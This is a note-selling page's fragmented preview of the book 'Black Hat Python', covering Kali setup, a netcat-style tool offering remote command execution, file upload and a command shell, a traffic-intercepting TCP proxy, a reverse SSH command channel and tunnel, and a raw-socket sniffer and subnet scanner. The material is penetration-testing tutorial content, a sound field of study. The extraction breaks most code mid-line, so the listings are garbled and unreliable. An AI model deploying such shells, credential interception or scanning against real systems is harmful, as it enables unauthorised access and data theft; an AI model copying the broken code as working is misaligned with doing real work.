Search for notes by fellow students, in your own course and all over the country.

Browse our notes for titles which look like what you need, you can preview any of the notes via a sample of the contents. After you're happy these are the notes you're after simply pop them into your shopping cart.

My Basket

You have nothing in your shopping cart yet.

Title: Black Hat-Teaching Python
Description: You can easily learn Python language.

Document Preview

Extracts from the notes are below, to see the PDF you'll receive please use the links above


Black Hat Python: Python Programming for
Hackers and Pentesters
Justin Seitz

Published by No Starch Press

To Pat
Although we never met, I am forever grateful for every member of your wonderful family you gave me
...
cancer
...
, where he spends his time bug hunting,
reverse engineering, writing exploits, and coding Python
...


About the Technical Reviewers
Dan Frisch has over ten years of experience in information security
...
Prior to that role, he worked as a consultant providing
security assessments to financial and technology firms in North America
...

Since the early days of Commodore PET and VIC-20, technology has been a constant companion (and
sometimes an obsession!) to Cliff Janzen
...
For the past few years Cliff has been
happily employed as a security consultant, doing everything from policy review to penetration tests,
and he feels lucky to have a career that is also his favorite hobby
...
Python-based tools include
all manner of fuzzers, proxies, and even the occasional exploit
...

Just about every fuzzer or exploit I have written has been in Python
...

Now if only the Metasploit developers would come to their senses and switch from Ruby to Python,
our community would be united
...
He includes walkthroughs of how to read and write network packets, how to
sniff the network, as well as anything you might need for web application auditing and attacking
...
In general, Black Hat Python is a fun read, and while it might not turn you into a
super stunt hacker like myself, it can certainly get you started down the path
...

Charlie Miller
St
...
Those are two words you really could use to describe me
...
I am not one of those
people
...
Throughout this book you will learn that this is how I code, but I also
feel as though it is part of what makes me a strong pentester
...

As you progress through the book, you will also realize that I don’t take deep dives on any single
topic
...
I want to give you the bare minimum, with a little flavor, so that you have
some foundational knowledge
...
I encourage you to explore these ideas, and
I would love to hear back any of your own implementations, tooling, or homework assignments that
you have done
...
Some of you may simply grab it and nab chapters that
are pertinent to a consulting gig you are on, while others may read it cover to cover
...
You will pick up some good building blocks along
the way
...

The next section of the book deals with hacking web applications, starting with your own custom
tooling in Chapter 5 and then extending the popular Burp Suite in Chapter 6
...
The final chapter is about using V
olatility for automating some offensive memory forensics
techniques
...
If you are
relatively new to Python I encourage you to punch out every line to get that coding muscle memory
going
...
com/blackhatpython/
...
My brothers, sister, Mom, Dad, and Paulette have also given me a
lot of motivation to keep pushing through no matter what
...

To all my folks at Immunity (I would list each of you here if I had the room): thanks for tolerating me
on a day-to-day basis
...
To the team at No Starch — Tyler,
Bill, Serena, and Leigh — thanks so much for all of the hard work you put into this book and the rest
in your collection
...

I would also like to thank my technical reviewers, Dan Frisch and Cliff Janzen
...
Anyone who is writing an infosec book should really
get these guys on board; they were amazing and then some
...


Chapter 1
...
We are going to do a crash course in setting up a
Kali Linux virtual machine (VM) and installing a nice IDE so that you have everything you need to
develop code
...

Before you get started, go ahead and download and install VMWare Player
...


Installing Kali Linux
Kali is the successor to the BackTrack Linux distribution, designed by Offensive Security from the
ground up as a penetration testing operating system
...

First, grab a Kali VM image from the following URL: http://images
...
com/kalilinux-1
...
9-vm-i486
...
[2] Download and decompress the image, and then double-click it to make
VMWare Player fire it up
...
This should get you
into the full Kali desktop environment as shown in Figure 1-1
...
The Kali Linux desktop

The first thing we are going to do is ensure that the correct version of Python is installed
...
7 throughout
...
7
...
7 will be automatically
installed
...
You have been warned
...
These are much like the apt package manager because they allow you to directly install Python
libraries, without having to manually download, unpack, and install them
...
Enter the following into your terminal:
root@kali:~#: pip install github3
...

Then drop into a Python shell and validate that it was installed correctly:
root@kali:~#: python
Python 2
...
3 (default, Mar 14 2014, 11:57:14)
[GCC 4
...
2] on linux2
Type "help", "copyright", "credits" or "license" for more information
...

Keep in mind that for most examples throughout this book, you can develop your code in a variety of
environments, including Mac, Linux, and Windows
...

Now that we have our hacking virtual machine set up, let’s install a Python IDE for development
...
WingIDE provides all the basic IDE functionality like autocompletion and explanation of function parameters, but its debugging capabilities are what set it apart
from other IDEs
...
[3]
You can grab WingIDE from http://www
...
com/, and I recommend that you install the trial so
that you can experience firsthand some of the features available in the commercial version
...
If you’ve followed along with my instructions so far, make sure
that you download the 32-bit
...
Then
drop into a terminal and run the following:
root@kali:~# dpkg -i wingide5_5
...
9-1_i386
...
If you get any installation errors, there might be unmet
dependencies
...
To verify that you’ve installed it
properly, make sure you can access it as shown in Figure 1-2
...
Accessing WingIDE from the Kali desktop

Fire up WingIDE and open a new, blank Python file
...
For starters, your screen should look like Figure 1-3, with your main code
editing area in the top left and a set of tabs on the bottom
...
Main WingIDE window layout

Let’s write some simple code to illustrate some of the useful functions of WingIDE, including the
Debug Probe and Stack Data tabs
...
Save it with any filename you want, click the Debug menu item, and select the Select
Current as Main Debug File option, as shown in Figure 1-4
...
Setting the current Python script for debugging

Now set a breakpoint on the line of code that says:
return converted_integer

You can do this by clicking in the left margin or by hitting the F9 key
...
Now run the script by pressing F5, and execution should halt at your breakpoint
...

The Stack Data tab is going to show us some useful information such as the state of any local and
global variables at the moment that our breakpoint was hit
...
If you click the dropdown bar, you can also see the current call stack, which tells you which function called the function
you are currently inside
...


Figure 1-5
...
Viewing the current stack trace

We can see that convert_integer was called from the sum function on line 3 of our Python script
...
Using the Stack Data tab will come in very handy in your Python developing career!
The next major feature is the Debug Probe tab
...
This lets you inspect
and modify variables, as well as write little snippets of test code to try out new ideas or to
troubleshoot
...


Figure 1-7
...

Even though this is a very simple example, it demonstrates some of the most useful features of
WingIDE for developing and debugging Python scripts
...
Don’t forget about
making virtual machines ready as target machines for the Windows-specific chapters, but of course
using native hardware should not present any issues
...
vmware
...

[2] For a “clickable” list of the links in this chapter, visit http://nostarch
...

[3] For a comparison of features among versions, visit https://wingware
...

[4] If you already use an IDE that has comparable features to WingIDE, please send me an email or a tweet because I would love to
hear about it!

Chapter 2
...
An attacker can do almost anything
with simple network access, such as scan for hosts, inject packets, sniff data, remotely exploit hosts,
and much more
...
No netcat
...
No compiler and no means to install one
...

This chapter will give you some basics on Python networking using the socket[5] module
...
This chapter is the foundation for subsequent chapters in which we
will build a host discovery tool, implement cross-platform sniffers, and create a remote trojan
framework
...


Python Networking in a Paragraph
Programmers have a number of third-party tools to create networked servers and clients in Python,
but the core module for all of those tools is socket
...
For the purposes of
breaking in or maintaining access to target machines, this module is all you really need
...


TCP Client
There have been countless times during penetration tests that I’ve needed to whip up a TCP client to
test for services, send garbage data, fuzz, or any number of other tasks
...
This is where being able to quickly create a TCP client comes in extremely
handy
...
Here is a simple TCP client
...
google
...
socket(socket
...
SOCK_STREAM)
# connect the client
➋ client
...
send("GET / HTTP/1
...
com\r\n\r\n")
# receive some data
➍ response = client
...
The AF_INET
parameter is saying we are going to use a standard IPv4 address or hostname, and SOCK_STREAM
indicates that this will be a TCP client
...
The last step is to receive some data back and print out the response ➍
...

In the above code snippet, we are making some serious assumptions about sockets that you definitely
want to be aware of
...
Our third assumption is that the server will always send us
data back in a timely fashion
...
While
programmers have varied opinions about how to deal with blocking sockets, exception-handling in
sockets, and the like, it’s quite rare for pentesters to build these niceties into the quick-and-dirty tools
for recon or exploitation work, so we’ll omit them in this chapter
...

import socket
target_host = "127
...
0
...
socket(socket
...
SOCK_DGRAM)
# send some data
➋ client
...
recvfrom(4096)
print data

As you can see, we change the socket type to SOCK_DGRAM ➊ when creating the socket object
...
Because UDP is a connectionless protocol, there is no call to connect() beforehand
...
You will also notice that it returns both the
data and the details of the remote host and port
...
Let’s move on to creating some simple
servers
...
You might want to use your own
TCP server when writing command shells or crafting a proxy (both of which we’ll do later)
...
Crank out the code below:
import socket
import threading
bind_ip
= "0
...
0
...
socket(socket
...
SOCK_STREAM)
➊ server
...
listen(5)
print "[*] Listening on %s:%d" % (bind_ip,bind_port)
# this is our client-handling thread
➌ def handle_client(client_socket):
# print out what the client sends
request = client_socket
...
send("ACK!")
client_socket
...
accept()
print "[*] Accepted connection from: %s:%d" % (addr[0],addr[1])



# spin up our client thread to handle incoming data
client_handler = threading
...
start()

To start off, we pass in the IP address and port we want the server to listen on ➊
...
We then put the server
into its main loop, where it is waiting for an incoming connection
...
We then create a new thread object that points to our handle_client function, and we pass
it the client socket object as an argument
...
The handle_client ➌
function performs the recv() and then sends a simple message back to the client
...
0
...
0:9999
[*] Accepted connection from: 127
...
0
...


Replacing Netcat
Netcat is the utility knife of networking, so it’s no surprise that shrewd systems administrators remove
it from their systems
...
In these cases, it’s useful to create a simple network client and server
that you can use to push files, or to have a listener that gives you command-line access
...
Creating a tool like
this is also a great Python exercise, so let’s get started
...
No
heavy lifting quite yet
...

➊ def usage():
print "BHP Net Tool"
print
print "Usage: bhpnet
...
py -t 192
...
0
...
py -t 192
...
0
...
exe"
print "bhpnet
...
168
...
1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' |
...
py -t 192
...
11
...
exit(0)
def main():
global
global
global
global
global
global

listen
port
execute
command
upload_destination
target

if not len(sys
...
getopt(sys
...
GetoptError as err:
print str(err)
usage()

for o,a in opts:
if o in ("-h","--help"):
usage()
elif o in ("-l","--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False,"Unhandled Option"

# are we going to listen or just send data from stdin?
if not listen and len(target) and port > 0:



# read in the buffer from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
buffer = sys
...
read()
# send data off
client_sender(buffer)
# we are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()


main()

We begin by reading in all of the command-line options ➋ and setting the necessary variables
depending on the options we detect
...
In the next block of code ➌, we are trying to mimic netcat
to read data from stdin and send it across the network
...
The final piece ➍ is where we
detect that we are to set up a listening socket and process further commands (upload a file, execute a
command, start a command shell)
...
Add
the following code above our main function
...
socket(socket
...
SOCK_STREAM)
try:
# connect to our target host
client
...
send(buffer)
while True:
# now wait for data back
recv_len = 1
response = ""



while recv_len:
data
= client
...
send(buffer)
except:
print "[*] Exception! Exiting
...
close()

Most of this code should look familiar to you by now
...
If all is well, we ship the data off to
the remote target and receive back data ➋ until there is no more data to receive
...

The extra line break is attached specifically to our user input so that our client will be compatible
with our command shell
...

def server_loop():
global target
# if no target is defined, we listen on all interfaces
if not len(target):
target = "0
...
0
...
socket(socket
...
SOCK_STREAM)
server
...
listen(5)
while True:
client_socket, addr = server
...
Thread(target=client_handler,
args=(client_socket,))
client_thread
...
rstrip()



# run the command and get the output back
try:
output = subprocess
...

STDOUT, shell=True)
except:
output = "Failed to execute command
...
The run_command function, however, contains a new library we haven’t
covered yet: the subprocess library
...
In this case ➊, we’re
simply running whatever command we pass in, running it on the local operating system, and returning
the output from the command back to the client that is connected to us
...

Now let’s implement the logic to do file uploads, command execution, and our shell
...
recv(1024)
if not data:
break
else:
file_buffer += data



# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination,"wb")
file_descriptor
...
close()
# acknowledge that we wrote the file out
client_socket
...
send("Failed to save file to %s\r\n" %
upload_destination)

# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket
...
send(" ")
# now we receive until we see a linefeed
(enter key)
cmd_buffer = ""
while "\n" not in cmd_buffer:
cmd_buffer += client_socket
...
send(response)

Our first chunk of code ➊ is responsible for determining whether our network tool is set to receive a
file when it receives a connection
...
First we receive the file data
in a loop ➋ to make sure we receive it all, and then we simply open a file handle and write out the
contents of the file
...
Next we process our
execute functionality ➌, which calls our previously written run_command function and simply sends
the result back across the network
...
You’ll notice that it is scanning for a
newline character to determine when to process a command, which makes it netcat-friendly
...


Kicking the Tires
Now let’s play around with it a bit to see some output
...
exe shell, run our
script like so:
justin$
...
py -l -p 9999 -c

Now you can fire up another terminal or cmd
...
Remember that
our script is reading from stdin and will do so until the EOF (end-of-file) marker is received
...
/bhnet
...

drwxr-xr-x 4 justin staff 136 9 Dec 18:09
...
py
-rw-r--r-- 1 justin staff 844 10 Dec 09:34 listing-1-3
...
We can also use our client to send out requests the good, old-fashioned way:
justin$ echo -ne "GET / HTTP/1
...
google
...
/bhnet
...
google
...
1 302 Found
Location: http://www
...
ca/
Cache-Control: private
Content-Type: text/html; charset=UTF-8
P3P: CP="This is not a P3P policy! See http://www
...
com/support/
accounts/bin/answer
...
"
Date: Wed, 19 Dec 2012 13:22:55 GMT
Server: gws
Content-Length: 218
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN

302 Moved

302 Moved


The document has moved
here
...

justin$

There you go! It’s not a super technical technique, but it’s a good foundation on how to hack together
some client and server sockets in Python and use them for evil
...
Next, let’s build a TCP proxy, which is
useful in any number of offensive scenarios
...
When performing
penetration tests in enterprise environments, you’ll commonly be faced with the fact that you can’t run
Wireshark, that you can’t load drivers to sniff the loopback on Windows, or that network
segmentation prevents you from running your tools directly against your target host
...
Let’s get to it
...
socket(socket
...
SOCK_STREAM)
try:
server
...
"
sys
...
listen(5)
while True:
client_socket, addr = server
...
Thread(target=proxy_handler,
args=(client_socket,remote_host,remote_port,receive_first))
proxy_thread
...
argv[1:]) != 5:
print "Usage:
...
py [localhost] [localport] [remotehost]
[remoteport] [receive_first]"
print "Example:
...
py 127
...
0
...
12
...
1 9000 True"
sys
...
argv[1]
local_port = int(sys
...
argv[3]
remote_port = int(sys
...
argv[5]

if "True" in receive_first:
receive_first = True
else:
receive_first = False

# now spin up our listening socket
server_loop(local_host,local_port,remote_host,remote_port,receive_first)
main()

Most of this should look familiar: we take in some command-line arguments and then fire up a server
loop that listens for connections
...

Let’s dive into the proxy_handler function now by adding the following code above our main
function
...
socket(socket
...
SOCK_STREAM)
remote_socket
...
" %
len(remote_buffer)
client_socket
...
" % len(local_
buffer)
hexdump(local_buffer)
# send it to our request handler
local_buffer = request_handler(local_buffer)
# send off the data to the remote host
remote_socket
...
"
# receive back the response
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):

print "[<==] Received %d bytes from remote
...
send(remote_buffer)
print "[<==] Sent to localhost
...
close()
remote_socket
...
Closing connections
...
To start off, we check to make sure we don’t
need to first initiate a connection to the remote side and request data before going into our main loop

...
We then use our receive_from function ➋, which we reuse for both sides of the
communication; it simply takes in a connected socket object and performs a receive
...
Next we hand the output
to our response_handler function ➍
...
There is a
complimentary request_handler function that does the same for modifying outbound traffic as well
...
The rest of the proxy code is
straightforward: we continually read from local, process, send to remote, read from remote, process,
and send to local until there is no more data detected ➎
...

# this is a pretty hex dumping function directly taken from
# the comments here:
# http://code
...
com/recipes/142812-hex-dumper/
➊ def hexdump(src, length=16):
result = []
digits = 4 if isinstance(src, unicode) else 2
for i in xrange(0, len(src), length):
s = src[i:i+length]
hexa = b' '
...
join([x if 0x20 <= ord(x) < 0x7F else b'
...
append( b"%04X %-*s %s" % (i, length*(digits + 1), hexa,
text) )
print b'\n'
...
settimeout(2)
try:
# keep reading into the buffer until
# there's no more data
# or we time out
while True:

data = connection
...
First we create our hex dumping function ➊
that will simply output the packet details with both their hexadecimal values and ASCII-printable
characters
...
The receive_from function ➋ is used both for receiving local and
remote data, and we simply pass in the socket object to be used
...
The rest of the function simply handles receiving data
until more data is detected on the other end of the connection
...
This can be useful, for example, if
plaintext user credentials are being sent and you want to try to elevate privileges on an application by
passing in admin instead of justin
...


Kicking the Tires
Now that we have our core proxy loop and the supporting functions in place, let’s test this out against
an FTP server
...
/proxy
...
0
...
1 21 ftp
...
ca 21 True

We used sudo here because port 21 is a privileged port and requires administrative or root privileges
in order to listen on it
...
Of course, you’ll want to point your proxy to an FTP server that will actually
respond to you
...
0
...
1:21
[==>] Received incoming connection from
0000
32 32 30 20 50 72 6F 46 54 50 44
0010
33 61 20 53 65 72 76 65 72 20 28
0020
6E 29 20 5B 3A 3A 66 66 66 66 3A
0030
2E 31 36 38 2E 39 33 5D 0D 0A
[<==] Sending 58 bytes to localhost
...

0000
55 53 45 52 20 74 65 73 74 79 0D
[==>] Sent to remote
...

0000
33 33 31 20 50 61 73 73 77 6F 72
0010
75 69 72 65 64 20 66 6F 72 20 74
0020
0A
[<==] Sent to localhost
...

0000
50 41 53 53 20 74 65 73 74 65 72
[==>] Sent to remote
...
Closing connections
...
0
...
1:59218
20 31 2E 33 2E
44 65 62 69 61
35 30 2E 35 37

220 ProFTPD 1
...

3a Server (Debia
n) [::ffff:22
...
22
...


0A

USER testy
...


...


You can clearly see that we are able to successfully receive the FTP banner and send in a username
and password, and that it cleanly exits when the server punts us because of incorrect credentials
...
A common means of doing so is to tunnel the traffic using Secure Shell (SSH)
...
81943 percent of Windows systems)?
While there are great SSH clients available for Windows, like Putty, this is a book about Python
...

To learn about how this library works, we’ll use Paramiko to make a connection and run a command
on an SSH system, configure an SSH server and SSH client to run remote commands on a Windows
machine, and finally puzzle out the reverse tunnel demo file included with Paramiko to duplicate the
proxy option of BHNET
...

First, grab Paramiko using pip installer (or download it from http://www
...
org/):
pip install paramiko

We’ll use some of the demo files later, so make sure you download them from the Paramiko website
as well
...
py and enter the following:
import threading
import paramiko
import subprocess
➊ def ssh_command(ip, user, passwd, command):
client = paramiko
...
load_host_keys('/home/justin/
...
set_missing_host_key_policy(paramiko
...
connect(ip, username=user, password=passwd)
ssh_session = client
...
open_session()
if ssh_session
...
exec_command(command)
print ssh_session
...
168
...
131', 'justin', 'lovesthepython','id')

This is a fairly straightforward program
...
Notice that Paramiko supports
authentication with keys ➋ instead of (or in addition to) password authentication
...

Because we’re controlling both ends of this connection, we set the policy to accept the SSH key for
the SSH server we’re connecting to ➌ and make the connection
...

Let’s run a quick test by connecting to our Linux server:
C:\tmp> python bh_sshcmd
...
You can easily modify this script to run

multiple commands on an SSH server or run commands on multiple SSH servers
...
Of course, normally when using SSH, you use an SSH client to connect to an SSH server,
but because Windows doesn’t include an SSH server out-of-the-box, we need to reverse this and send
commands from our SSH server to the SSH client
...
py and enter the following:[6]
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko
...
load_host_keys('/home/justin/
...
set_missing_host_key_policy(paramiko
...
connect(ip, username=user, password=passwd)
ssh_session = client
...
open_session()
if ssh_session
...
send(command)
print ssh_session
...
recv(1024) #get the command from the SSH
server
try:
cmd_output = subprocess
...
send(cmd_output)
except Exception,e:
ssh_session
...
close()
return
ssh_command('192
...
100
...
Also
notice that the first command we send is ClientConnected
...

Now create a new file called bh_sshserver
...
RSAKey(filename='test_rsa
...
ServerInterface):
def _init_(self):
self
...
Event()
def check_channel_request(self, kind, chanid):
if kind == 'session':
return paramiko
...
OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_auth_password(self, username, password):
if (username == 'justin') and (password == 'lovesthepython'):
return paramiko
...
AUTH_FAILED
server = sys
...
argv[2])
➌ try:
sock = socket
...
AF_INET, socket
...
setsockopt(socket
...
SO_REUSEADDR, 1)
sock
...
listen(100)
print '[+] Listening for connection
...
accept()
except Exception, e:
print '[-] Listen failed: ' + str(e)
sys
...
Transport(client)
bhSession
...
start_server(server=server)
except paramiko
...
'
chan = bhSession
...
recv(1024)
chan
...
strip('\n')
if command != 'exit':
chan
...
recv(1024) + '\n'
else:
chan
...
close()
raise Exception ('exit')
except KeyboardInterrupt:
bhSession
...
close()
except:
pass
sys
...
This could be a Linux, Windows, or even OS X system that has Python and Paramiko installed
...
We start a socket
listener ➌, just like we did earlier in the chapter, and then SSHinize it ➋ and configure the
authentication methods ➍
...
Let’s give it a go
...


Figure 2-1
...
The client is successfully connected ➌ and we run a command ➍
...


SSH Tunneling
SSH tunneling is amazing but can be confusing to understand and configure, especially when dealing
with a reverse SSH tunnel
...
When using an SSH tunnel, instead of typed commands being sent to the server, network traffic
is sent packaged inside of SSH and then unpackaged and delivered by the SSH server
...
You can’t access the
web server directly, but the server with SSH installed does have access and the SSH server doesn’t
have the tools you want to use installed on it
...
Without getting into too much
detail, running the command ssh -L 8008:web:80 justin@sshserver will connect to the ssh
server as the user justin and set up port 8008 on your local system
...
Figure 2-2
shows this in action
...
SSH forward tunneling

That’s pretty cool, but recall that not many Windows systems are running an SSH server service
...
We can configure a reverse SSH tunnelling connection
...
Through that SSH connection, we
also specify a remote port on the SSH server that will be tunnelled to the local host and port (as
shown in Figure 2-3)
...


Figure 2-3
...
py that does exactly this
...
Open rforward
...

def main():
options, server, remote = parse_options()
password = None
if options
...
getpass('Enter SSH password: ')

client = paramiko
...
load_system_host_keys()
client
...
WarningPolicy())
verbose('Connecting to ssh host %s:%d
...
connect(server[0], server[1], username=options
...
keyfile,
look_for_keys=options
...
exit(1)


verbose('Now forwarding remote port %d to %s:%d
...
port,
remote[0], remote[1]))



try:
reverse_forward_tunnel(options
...
get_transport())
except KeyboardInterrupt:
print('C-c: Port forwarding stopped
...
exit(0)

The few lines at the top ➊ double-check to make sure all the necessary arguments are passed to the
script before setting up the Parmakio SSH client connection ➋ (which should look very familiar)
...

Let’s have a look at that function
...
request_port_forward('', server_port)
while True:

chan = transport
...
Thread(target=handler, args=(chan, remote_host,
...
setDaemon(True)
thr
...
Here we start to use Paramiko’s
request_port_forward to forward TCP connections from a port ➍ on the SSH server and start up a
new transport channel ➎
...

But we’re not done yet
...
socket()
try:
sock
...
origin_addr,
...
getpeername(),
...
select([sock, chan], [], [])
if sock in r:
data = sock
...
send(data)
if chan in r:
data = chan
...
send(data)
chan
...
close()
verbose('Tunnel closed from %r' % (chan
...

Let’s give it a try
...
py from our Windows system and configure it to be the middle man as we
tunnel traffic from a web server to our Kali SSH server
...
py 192
...
100
...
168
...
128:80
--user justin --password
Enter SSH password:
Connecting to ssh host 192
...
100
...

C:\Python27\lib\site-packages\paramiko\client
...
168
...
133: cb28bb4e3ec68e2af4847a427f08aa8b
(key
...
get_fingerprint())))
Now forwarding remote port 8080 to 192
...
100
...


You can see that on the Windows machine, I made a connection to the SSH server at 192
...
100
...
168
...
128 port 80
...
0
...
1:8080 on my Linux server, I connect to the web server at
192
...
100
...


Figure 2-4
...
0
...
1', 54537) -> ('192
...
100
...
168
...
128', 80)

SSH and SSH tunnelling are important to understand and use
...

We’ve created some very simple yet very useful tools in this chapter
...
The main goal is to develop a firm grasp of using Python networking to create
tools that you can use during penetration tests, post-exploitation, or while bug-hunting
...

[5] The full socket documentation can be found here: http://docs
...
org/2/library/socket
...

[6] This discussion expands on the work by Hussam Khrais, which can be found on http://resources
...
com/
...
The Network: Raw Sockets and
Sniffing
Network sniffers allow you to see packets entering and exiting a target machine
...
In some cases, you’ll be able to use Wireshark
(http://wireshark
...
Nevertheless, there’s an advantage to knowing how to throw together a quick
sniffer to view and decode network traffic
...
You will also likely pick up some new Python techniques and perhaps a better
understanding of how the low-level networking bits work
...
But underneath these higher-level protocols
are the fundamental building blocks of how network packets are sent and received
...
In our
case, we are only interested in the IP layer and higher, so we won’t decode any Ethernet information
...

Let’s begin with a brief walkthrough of how to discover active hosts on a network segment
...
Attackers
want to be able to see all of the potential targets on a network so that they can focus their
reconnaissance and exploitation attempts
...
When you send a UDP datagram to a closed port
on a host, that host typically sends back an ICMP message indicating that the port is unreachable
...
It is essential that we pick a UDP port that will not
likely be used, and for maximum coverage we can probe several ports to ensure we aren’t hitting an
active UDP service
...
This is quite a simple scanner to build with most of the work
going into decoding and analyzing the various network protocol headers
...

We could also build additional logic into our scanner to kick off full Nmap port scans on any hosts we
discover to determine if they have a viable network attack surface
...

Let’s get started
...
We will create our socket object
and then determine which platform we are running on
...
In our first example, we simply set up our raw socket sniffer, read in a single
packet, and then quit
...
168
...
196"
# create a raw socket and bind it to the public interface
if os
...
IPPROTO_IP
else:
socket_protocol = socket
...
socket(socket
...
SOCK_RAW, socket_protocol)
sniffer
...
setsockopt(socket
...
IP_HDRINCL, 1)
# if we're using Windows, we need to send an IOCTL
# to set up promiscuous mode
➌ if os
...
ioctl(socket
...
RCVALL_ON)
# read in a single packet
➍ print sniffer
...
name == "nt":
sniffer
...
SIO_RCVALL, socket
...
The difference between Windows and Linux is that Windows will allow us to
sniff all incoming packets regardless of protocol, whereas Linux forces us to specify that we are
sniffing ICMP
...
Promiscuous mode allows us to sniff all packets that the network card
sees, even those not destined for your specific host
...
The next step ➌ is to determine if we are using Windows, and if
so, we perform the additional step of sending an IOCTL to the network card driver to enable
promiscuous mode
...
Now we
are ready to actually perform some sniffing, and in this case we are simply printing out the entire raw
packet ➍ with no packet decoding
...
After a single packet is sniffed, we again test for Windows, and disable promiscuous
mode ➎ before exiting the script
...
exe shell under Windows and run the following:
python sniffer
...
Here, we’ll ping
nostarch
...
com

In your first window where you executed your sniffer, you should see some garbled output that closely
resembles the following:
('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xa9\x0e\xc0\xa8\x00\xbb\xc0\xa8\x0
0\x01\x04\x01\x005\x00&\xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\
x00\x08nostarch\x03com\x00\x00\x01\x00\x01', ('192
...
0
...
com (based on
the appearance of the string nostarch
...
If you are running this example on Linux, then you would
receive the response from nostarch
...
Sniffing one packet is not overly useful, so let’s add some
functionality to process more packets and decode their contents
...
The information is packed into binary form, and as shown above, is quite
difficult to understand
...
This will be the foundation for you to start creating further protocol parsing
later on
...
Refer to Figure 3-1 for the makeup of an IP header
...
Typical IPv4 header structure

We will decode the entire IP header (except the Options field) and extract the protocol type, source,
and destination IP address
...
First, let’s take a look at
the C definition of what an IP header looks like
...
Using C code as a
reference when translating to Python objects can be useful because it makes it seamless to convert
them to pure Python
...
This indicates that these are bit fields, and they are 4 bits wide
...

Let’s implement our IP decoding routine into sniffer_ip_header_decode
...

import socket

import os
import struct
from ctypes import *
# host to listen on
host = "192
...
0
...
from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# map protocol constants to their names
self
...
src_address = socket
...
pack(" ...
dst_address = socket
...
pack(" ...
protocol = self
...
protocol_num]
except:
self
...
protocol_num)
# this should look familiar from the previous example
if os
...
IPPROTO_IP
else:
socket_protocol = socket
...
socket(socket
...
SOCK_RAW, socket_protocol)
sniffer
...
setsockopt(socket
...
IP_HDRINCL, 1)
if os
...
ioctl(socket
...
RCVALL_ON)
try:
while True:



# read in a packet
raw_buffer = sniffer
...
protocol, ip_header
...
dst_address)
# handle CTRL-C
except KeyboardInterrupt:

# if we're using Windows, turn off promiscuous mode
if os
...
ioctl(socket
...
RCVALL_OFF)

The first step is defining a Python ctypes structure ➊ that will map the first 20 bytes of the received
buffer into a friendly IP header
...
The __new__ method of the IP class simply takes in a raw buffer (in this
case, what we receive on the network) and forms the structure from it
...
Inside __init__, we are simply doing
some housekeeping to give some human readable output for the protocol in use and the IP addresses

...
The first step is to read in the packet ➌ and then pass the first 20 bytes ➍ to
initialize our IP structure
...
Let’s
try it out
...
I definitely recommend that you do this test from your Windows machine, as you
will be able to see TCP, UDP, and ICMP, which allows you to do some pretty neat testing (open up a
browser, for example)
...

Open a terminal and type:
python sniffer_ip_header_decode
...
I tested this script by
opening Internet Explorer and going to www
...
com, and here is the output from our script:
Protocol:
Protocol:
Protocol:
Protocol:
Protocol:
Protocol:
Protocol:

UDP
UDP
UDP
TCP
TCP
TCP
TCP

192
...
0
...
168
...
1
192
...
0
...
168
...
190
192
...
0
...
168
...
187
192
...
0
...
125
...
183
192
...
0
...
125
...
183
74
...
225
...
168
...
187
192
...
0
...
125
...
183

Because we aren’t doing any deep inspection on these packets, we can only guess what this stream is
indicating
...
com lives, and the subsequent TCP sessions are my machine actually connecting and
downloading content from their web server
...
com, and the results will look something like
this:
Protocol: ICMP 74
...
226
...
168
...
190
Protocol: ICMP 74
...
226
...
168
...
190
Protocol: ICMP 74
...
226
...
168
...
190

You can already see the limitation: we are only seeing the response and only for the ICMP protocol
...
We
will now apply the same techniques we used to decode the IP header to decode the ICMP messages
...
ICMP
messages can vary greatly in their contents, but each message contains three elements that stay
consistent: the type, code, and checksum fields
...

For the purpose of our scanner, we are looking for a type value of 3 and a code value of 3
...
Refer to Figure 3-2 for a diagram of a
Destination Unreachable ICMP message
...
Diagram of Destination Unreachable ICMP message

As you can see, the first 8 bits are the type and the second 8 bits contain our ICMP code
...
We can also see that we will doublecheck against 8 bytes of the original datagram that was sent in order to make sure our scanner
generated the ICMP response
...

Let’s add some more code to our previous sniffer to include the ability to decode ICMP packets
...
py and add the following code:
--snip
--class IP(Structure):
--snip-➊ class ICMP(Structure):
_fields_ = [
("type",
c_ubyte),
("code",
c_ubyte),
("checksum",
c_ushort),
("unused",
c_ushort),
("next_hop_mtu", c_ushort)
]
def __new__(self, socket_buffer):
return self
...
protocol, ip_header
...
dst_address)



# if it's ICMP, we want it
if ip_header
...
ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]



# create our ICMP structure
icmp_header = ICMP(buf)
print "ICMP -> Type: %d Code: %d" % (icmp_header
...

code)

This simple piece of code creates an ICMP structure ➊ underneath our existing IP structure
...
The length calculation is based on the IP header ihl field, which indicates the
number of 32-bit words (4-byte chunks) contained in the IP header
...

If we quickly run this code with our typical ping test, our output should now be slightly different, as
shown below:
Protocol: ICMP 74
...
226
...
168
...
190
ICMP -> Type: 0 Code: 0

This indicates that the ping (ICMP Echo) responses are being correctly received and decoded
...

Now let’s add the use of the netaddr module so that we can cover an entire subnet with our host
discovery scan
...
py script as scanner
...
168
...
187"
# subnet to target
subnet = "192
...
0
...
sleep(5)
sender = socket
...
AF_INET, socket
...
sendto(magic_message,("%s" % ip,65212))
except:
pass
--snip-# start sending packets
➌ t = threading
...
start()

--snip-try:
while True:
--snip-#print "ICMP -> Type: %d Code: %d" % (icmp_header
...

code)
# now check for the TYPE 3 and CODE
if icmp_header
...
type == 3:





# make sure host is in our target subnet
if IPAddress(ip_header
...
src_address

This last bit of code should be fairly straightforward to understand
...
Our udp_sender function ➋ simply takes in a subnet that we specify at the top of our
script, iterates through all IP addresses in that subnet, and fires UDP datagrams at them
...
